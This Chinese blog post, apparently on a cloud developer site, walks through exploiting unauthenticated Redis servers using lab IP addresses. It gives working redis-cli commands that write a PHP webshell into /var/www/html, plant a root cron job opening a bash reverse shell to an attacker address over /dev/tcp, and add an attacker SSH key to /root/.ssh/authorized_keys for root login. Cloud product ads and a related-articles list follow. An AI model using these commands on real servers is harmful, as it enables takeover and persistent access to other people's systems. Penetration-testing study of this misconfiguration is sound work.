Redis未授权访问漏洞的利用总结

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介: Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据

Redis未授权访问漏洞简介:

Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据


配置、修改redis.conf:



protected-mode yes 改为no      #关闭redis保护模式bind 127.0.0.1 改为0.0.0.0   #服务器任意网卡地址都可访问redis


一、利用redis写webshell

在redis-cli中写入以下命令:


config set dir /var/www/html    # 网站目录
config set dbfilename redis.php    # shell文件名
set webshell "<一句话木马>"    # shell内容
save





然后看一下目录下是否生成了一个redis.php的文件



可以看到生成了,查看一下文件的内容


在浏览器中访问一下这个文件,成功解析,内容改成一句话木马,即可getshell



二、计划任务反弹shell:

①写入计划任务:

set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save



set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave


②监听端口,接收反弹shell:



三、Redis 未授权访问配合SSH key利用

①首先在攻击机生成密匙:


ssh-keygen –t rsa


②生成的文件被保存在了上图的路径中,cd /root/.ssh/,并cat查看文件内容:


然后将公钥写入key.txt中:


(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt


④然后连接redis进行写入:

$ cat key.txt | redis-cli -h 192.168.136.133 -x set crackit
$ redis-cli -h 192.168.1.11  # 登陆未授权的redis服务器
$ config set dir /root/.ssh/
$ config set dbfilename "authorized_keys"
$ save





$ cat key.txt | redis-cli -h 192.168.136.133 -x set crackit$ redis-cli -h 192.168.1.11  # 登陆未授权的redis服务器$ config set dir /root/.ssh/$ config set dbfilename "authorized_keys"$ save


⑤然后去目标机看一下是否生成


⑥然后回到攻击机,利用自己的密钥进行ssh登录:


ssh –i  id_rsa root@192.168.136.133


本文只是对redis未授权做了一个简单的利用总结,如果文中有错误,欢迎指出,一起讨论,下篇文章将继续围绕redis进行阐述

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
目录
相关文章
|
NoSQL 安全 网络协议
|
7月前
|
NoSQL 安全 Shell
Redis未授权+CVE-2019-0708组合拳利用
Redis未授权+CVE-2019-0708组合拳利用
54 0
|
11月前
|
NoSQL 安全 Shell
Redis未授权访问漏洞(自写自动化利用EXP分享)
# 前言: 之前已经有文章写过redis未授权访问的利用总结了,这次主要是py脚本自动化的一个小分享吧。也算是对自己学习的一个记录..
217 0
|
11月前
|
NoSQL 安全 Shell
Redis主从复制漏洞gethsell
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。利用范围:Redis 4.x-Redis 5.x
256 0
|
机器学习/深度学习 移动开发 NoSQL
13 redis未授权访问漏洞
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配致其他用户可以无需认证授权真接访问从而引发重票权限可被操作、数据目录等敏感信息泄察
13 redis未授权访问漏洞
|
运维 NoSQL 算法
对不起,你在网上找的Redis分布式锁都有漏洞
基于 Redis 的分布式锁对大家来说并不陌生,可是你的分布式锁有失败的时候吗?在失败的时候可曾怀疑过你在用的分布式锁真的靠谱吗?以下是结合自己的踩坑经验总结的一些经验之谈。 你真的需要分布式锁吗? 用到分布式锁说明遇到了多个进程共同访问同一个资源的问题。一般是在两个场景下会防止对同一个资源的重复访问: 提高效率。比如多个节点计算同一批任务,如果某个任务已经有节点在计算了,那其他节点就不用重复计算了,以免浪费计算资源。不过重复计算也没事,不会造成其他更大的损失。也就是允许偶尔的失败。 保证正确性。这种情况对锁的要求就很高了,如果重复计算,会对正确性造成影响。这种不允许失败。
217 0
对不起,你在网上找的Redis分布式锁都有漏洞
|
存储 缓存 NoSQL
Redis未授权访问漏洞
利用Redis实现攻击的三种方式
Redis未授权访问漏洞
|
18天前
|
NoSQL Linux Redis
06- 你们使用Redis是单点还是集群 ? 哪种集群 ?
**Redis配置:** 使用哨兵集群,结构为1主2从,加上3个哨兵节点,总计分布在3台Linux服务器上,提供高可用性。
253 0
|
26天前
|
负载均衡 监控 NoSQL
Redis的集群方案有哪些?
Redis集群包括主从复制(基础,手动故障恢复)、哨兵模式(自动高可用)和Redis Cluster(官方分布式解决方案,自动分片和容错)。此外,还有如Codis、Redisson和Twemproxy等第三方工具用于代理和负载均衡。选择方案需考虑应用场景、数据规模和并发需求。
219 2
|
1月前
|
NoSQL Redis
Redis集群(六):集群常用命令及说明
Redis集群(六):集群常用命令及说明
198 0

热门文章

最新文章